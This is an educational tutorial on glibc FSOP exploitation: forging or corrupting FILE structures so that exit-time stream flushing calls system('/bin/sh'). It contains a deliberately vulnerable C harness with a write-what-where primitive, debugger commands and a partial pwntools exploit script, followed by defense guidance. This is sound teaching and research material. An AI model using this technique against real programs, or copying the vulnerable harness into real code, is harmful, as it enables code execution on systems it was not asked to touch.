Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
File-Stream-Oriented Programming (FSOP) is the family of glibc exploitation techniques that turn control over a FILE object into control over the program counter. Every C stream you have ever used — stdin, stdout, stderr, and anything returned by fopen — is backed by a struct _IO_FILE living in libc’s data segment or on the heap, and each such object carries a vtable: a pointer to a table of function pointers that the C library calls to implement fread, fwrite, fclose, flushing, and buffering. If an attacker can forge a FILE or corrupt an existing one so that its vtable pointer (or the fields the vtable functions read) are attacker-controlled, then the next library operation on that stream becomes an indirect call the attacker chose.
FSOP is attractive precisely because the trigger is often *free*. glibc flushes all open streams at normal program exit, so an attacker who has corrupted the stream list does not even need the victim to call a file function — merely returning from main or calling exit() walks every registered FILE and invokes its __overflow handler. This article establishes the FSOP fundamentals: the _IO_FILE/_IO_FILE_plus layout, the vtable / _IO_jump_t dispatch, and the exit-time flush path through _IO_flush_all_lockp that most FSOP chains detonate on. Later articles in this series build the concrete modern chains (str_jumps validation bypass, House of Apple 2) on top of it.
Attack Prerequisites
FSOP is a post-exploitation *conversion* technique: it assumes you already have some corruption primitive and turns it into control flow. In practice you need most of the following:
- A write primitive that reaches a
FILEobject — either an arbitrary write onto a libc_IO_2_1_stdout_/_IO_2_1_stdin_structure, or a heap primitive (e.g. tcache poisoning) that hands you a chunk overlapping a heap-allocatedFILEor the head of_IO_list_all. - A libc leak — you must know the address of libc to locate the real vtable region,
system/a one_gadget, and (on modern glibc) a legitimate in-range jump table to point the vtable at. - A controlled or forged vtable pointer, or control of the wide-data / buffer fields the chosen vtable function dereferences.
- A flush trigger —
exit(), returning frommain,fclose,fflush, or any buffered stdio call. Exit-time flushing via_IO_flush_all_lockpis the most common and requires no cooperation from the target code.
How It Works
A stream is a struct _IO_FILE_plus, which is simply the public _IO_FILE followed by a vtable pointer: struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; };. On x86-64 the _IO_FILE body is 0xd8 bytes, so the vtable pointer sits at offset 0xd8 of the object (this offset is stable across recent 64-bit glibc, but always confirm it against your target build). The _IO_FILE body itself is a dense record of buffer pointers: _flags at offset 0, then _IO_read_ptr, _IO_read_end, _IO_read_base, _IO_write_base, _IO_write_ptr, _IO_write_end, _IO_buf_base, _IO_buf_end, a _chain pointer that links every stream into the global _IO_list_all, _fileno, a _lock pointer, and near the end _mode and the _wide_data pointer used for wide-character streams.
The vtable is a struct _IO_jump_t: an ordered array of function pointers. After two reserved __dummy slots it holds __finish, __overflow, __underflow, __uflow, __pbackfail, __xsputn, __xsgetn, __seekoff, and so on. The library never calls these directly; it uses macros such as _IO_OVERFLOW(fp, ch), _IO_XSPUTN(fp, data, n), and _IO_UNDERFLOW(fp) that expand to an indirect call through fp‘s vtable. _IO_OVERFLOW, for example, resolves to the slot at vtable offset 0x18 on 64-bit and is invoked with the FILE* as its first argument. That last detail is the crux of FSOP: because fp is passed as the first argument (RDI), and the first field of fp is _flags, an attacker who makes __overflow point at system and sets _flags to the string "/bin/sh" effectively calls system("...sh").
The universal trigger is _IO_flush_all_lockp. On exit, glibc’s cleanup path calls it to flush every stream; it walks the singly linked _IO_list_all via each object’s _chain pointer, and for any stream that still has buffered output — the check is essentially fp->_IO_write_ptr > fp->_IO_write_base (with a _mode <= 0 guard for the non-wide path) — it calls _IO_OVERFLOW(fp, EOF). An attacker therefore forges a FILE whose _IO_write_ptr is greater than _IO_write_base, links it into _IO_list_all, and points its vtable so that the __overflow slot lands on the code they want. Because this runs during ordinary teardown, the exploit fires as soon as the program ends.
Vulnerable Code / Setup
The realistic FSOP target is not a single printf bug but a program that hands the attacker a heap write-what-where and keeps buffered streams open until exit. The reduced harness below models exactly that: an editable heap buffer plus a normal exit(), which is all FSOP needs once the write primitive can reach libc’s stream structures.
// fsop_demo.c — models an arbitrary write + a normal exit()
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
// Emulated info leak: real chains derive this from a bug.
printf("stdout @ %p\n", (void *)stdout);
// Emulated write-what-where: address then 8 bytes, repeated.
unsigned long addr, val;
while (scanf("%lu %lu", &addr, &val) == 2 && addr)
*(unsigned long *)addr = val; // <-- the primitive FSOP consumes
// No explicit file work: exit() alone flushes every FILE and
// walks _IO_list_all -> _IO_OVERFLOW on each dirty stream.
exit(0);
}
CCompile without extra hardening so the mechanism is visible, then confirm the protections in play. The libc build is what matters most for FSOP — the vtable layout, whether the vtable check is present, and which jump tables exist are all libc-version specific:
$ gcc -no-pie -g -o fsop_demo fsop_demo.c
$ checksec --file=./fsop_demo
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
$ ./fsop_demo --version 2>/dev/null; ldd ./fsop_demo | grep libc
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
$ /lib/x86_64-linux-gnu/libc.so.6 | head -1 # print the exact build string
BashWalkthrough / Exploitation
First, inspect a real stream and its vtable in the debugger so the offsets are concrete for your build. pwndbg understands the FILE layout directly:
gdb -q ./fsop_demo
pwndbg> break main
pwndbg> run
pwndbg> p (void*)stdout # &_IO_2_1_stdout_
pwndbg> print *(struct _IO_FILE_plus *)stdout
pwndbg> p &((struct _IO_FILE_plus*)0)->vtable # confirms vtable offset (0xd8)
pwndbg> p _IO_list_all # head of the stream chain
pwndbg> x/21gx *(void**)&stdout # dump _flags .. _chain .. vtable
BashThe classic teaching payload forges a fake FILE entirely in controlled memory and points _IO_list_all at it. The fake object must satisfy the flush condition and carry a vtable whose __overflow slot calls system, with _flags doubling as the command string. On any glibc with the vtable check (2.24+) a fully attacker-owned vtable is rejected — that bypass is the subject of the next article — so here we lay out the structure and show the field constraints that every FSOP variant must still meet:
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
io = process('./fsop_demo')
libc.address = int(io.recvline().split()[-1], 16) - libc.sym['_IO_2_1_stdout_']
system = libc.sym['system']
list_all = libc.sym['_IO_list_all']
# Build a fake FILE at a known controlled address (e.g. a heap chunk).
fake = FileStructure(null=0) # pwntools models the _IO_FILE fields
fake.flags = u64(b'/bin/sh\x00') # RDI on the overflow call
fake._IO_write_base = 0 # write_ptr > write_base => flush fires
fake._IO_write_ptr = 1
# fake.vtable must point at a table whose __overflow (off 0x18) == system
PythonThe write primitive then places this structure in memory, sets its vtable field, and finally overwrites _IO_list_all to point at it. Each line below is one addr val pair consumed by the harness; in a real target these are the individual writes of your heap or format-string primitive:
def write(addr, val):
io.sendline(b'%d %d' % (addr, val))
FAKE = libc.address + 0x1000 # some controlled scratch page
payload = bytes(fake)
for i in range(0, len(payload), 8):
write(FAKE + i, u64(payload[i:i+8].ljust(8, b'\x00')))
write(list_all, FAKE) # _IO_list_all -> our fake FILE
write(0, 0) # ends the loop -> exit() -> flush -> pwn
io.interactive()
PythonWhen exit(0) runs, _IO_flush_all_lockp starts at _IO_list_all, reaches the fake object, sees _IO_write_ptr (1) > _IO_write_base (0), and calls _IO_OVERFLOW(fake, EOF) — an indirect call through the fake vtable’s 0x18 slot with fake in RDI. On a pre-2.24 libc that lands on system with RDI pointing at _flags == "/bin/sh" and you get a shell. On 2.24+ the vtable check aborts first unless the vtable points inside libc’s legitimate vtable section, which motivates the str_jumps / wfile_jumps techniques covered next.
Note: The exit-time trigger is not the only one, but it is the most reliable.
fcloseall, an explicitfflush(NULL), and even library functions that internally buffer will all route through the same_IO_OVERFLOWdispatch. If the target never exits cleanly (e.g. it_exits or is killed), FSOP via_IO_flush_all_lockpwill not fire —_exit/_Exitskip stdio cleanup entirely, so confirm the program reachesexit/return from main.
Opsec: FSOP field constraints are unforgiving and version-sensitive. The most common self-inflicted failure is getting the flush condition wrong: for a byte-oriented stream you need
_mode <= 0AND_IO_write_ptr > _IO_write_base; set_modeto a positive value by accident and the non-wide overflow branch is skipped. Dump the candidateFILEwithprint *(struct _IO_FILE_plus*)right before exit and single-step into_IO_flush_all_lockpto see exactly which branch your object takes.
Detection and Defense
FSOP is a consequence of an earlier memory-corruption bug; the durable defenses are the ones that deny the write primitive or the vtable target, plus the runtime integrity checks glibc has accumulated:
- Keep glibc current — the vtable check (2.24+) blocks arbitrary fake vtables, and the removal of malloc/free hooks (2.34) removed an easier adjacent target, forcing attackers onto the harder FSOP paths.
- Full RELRO and PIE raise the cost of the preceding write/leak stages that FSOP depends on; without a libc leak the technique cannot locate a valid vtable or
system. - Harden allocation lifetimes — most heap-to-FILE pivots start with a UAF, double-free, or overflow; AddressSanitizer and hardened allocators catch these deterministically in testing.
- Watch for the tell-tale abort — glibc’s
"Fatal error: glibc detected an invalid stdio handle"message on a crashing service is a strong signal that someone attempted a vtable-based FSOP against an in-range-only check.
Real-World Impact
FSOP moved from curiosity to standard toolkit with Angel Boy’s *House of Orange* work (2016), which chained a heap overflow into a forged FILE and the _IO_list_all flush path, and it has remained a mainstay of glibc CTF pwn and userland Linux exploitation research ever since. Its importance grew as other primitives were closed off: once glibc 2.34 removed __malloc_hook/__free_hook, the stream structures became one of the few reliably present sets of libc-resident function pointers, making FSOP the default final stage of modern heap exploits. The technique’s evolution — from fake vtables, to in-range _IO_str_jumps abuse, to House of Apple 2’s wide-data path — is a direct dialogue with glibc’s hardening timeline.
Conclusion
FSOP rests on three facts: every C stream is an _IO_FILE_plus with a vtable of function pointers, glibc dispatches all stream operations through that vtable via macros like _IO_OVERFLOW, and exit-time cleanup walks _IO_list_all and calls __overflow on every dirty stream for free. Master the field layout — where the vtable pointer sits, what the flush condition checks, and that fp is the first argument to the dispatched function — and the rest of the FSOP family is variation on which legitimate jump table you point the vtable at and which of the object’s fields the chosen function dereferences. The next articles turn these fundamentals into working, vtable-check-surviving chains.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments